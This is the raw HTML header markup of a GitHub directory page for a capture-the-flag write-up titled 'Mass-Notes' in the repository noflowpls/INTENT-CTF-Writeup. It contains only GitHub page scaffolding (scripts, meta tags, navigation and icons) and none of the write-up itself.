src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>INTENT-CTF-Writeup/Mass-Notes at main · noflowpls/INTENT-CTF-Writeup · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="E23F:6BE1:1C6034CD:1D35A442:64121CA2" data-pjax-transient="true"/><meta name="html-safe-nonce" content="7518a4c734c240640147e368a1dfddad1f59a5ee7464df54cd84db4a0e1d4b0e" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFMjNGOjZCRTE6MUM2MDM0Q0Q6MUQzNUE0NDI6NjQxMjFDQTIiLCJ2aXNpdG9yX2lkIjoiMjY2MjE2NDg1Nzk1NzI2MDQ1MCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="0bc4ffd3dee1f884278197ef271584513872122a9acf0b4d7d9538d6e0129a88" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:428674070" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/0d552d2be6c983331bb6211981e287a664510aaf19bdc8a5cb52b0830c8dce8a/noflowpls/INTENT-CTF-Writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="INTENT-CTF-Writeup/Mass-Notes at main · noflowpls/INTENT-CTF-Writeup" /><meta name="twitter:description" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/0d552d2be6c983331bb6211981e287a664510aaf19bdc8a5cb52b0830c8dce8a/noflowpls/INTENT-CTF-Writeup" /><meta property="og:image:alt" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="INTENT-CTF-Writeup/Mass-Notes at main · noflowpls/INTENT-CTF-Writeup" /><meta property="og:url" content="https://github.com/noflowpls/INTENT-CTF-Writeup" /><meta property="og:description" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/noflowpls/INTENT-CTF-Writeup git https://github.com/noflowpls/INTENT-CTF-Writeup.git"> <meta name="octolytics-dimension-user_id" content="84136529" /><meta name="octolytics-dimension-user_login" content="noflowpls" /><meta name="octolytics-dimension-repository_id" content="428674070" /><meta name="octolytics-dimension-repository_nwo" content="noflowpls/INTENT-CTF-Writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="428674070" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noflowpls/INTENT-CTF-Writeup" /> <link rel="canonical" href="https://github.com/noflowpls/INTENT-CTF-Writeup/tree/main/Mass-Notes" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="428674070" data-scoped-search-url="/noflowpls/INTENT-CTF-Writeup/search" data-owner-scoped-search-url="/users/noflowpls/search" data-unscoped-search-url="/search" data-turbo="false" action="/noflowpls/INTENT-CTF-Writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Ltf7HuTijauSCiDgyIOBv9sxHm0Q+UADs8I5Ul1gNPLMNhqnXFK3DIIC0nkmqB5fa/69322mV9AcIVomXQJ/7g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center 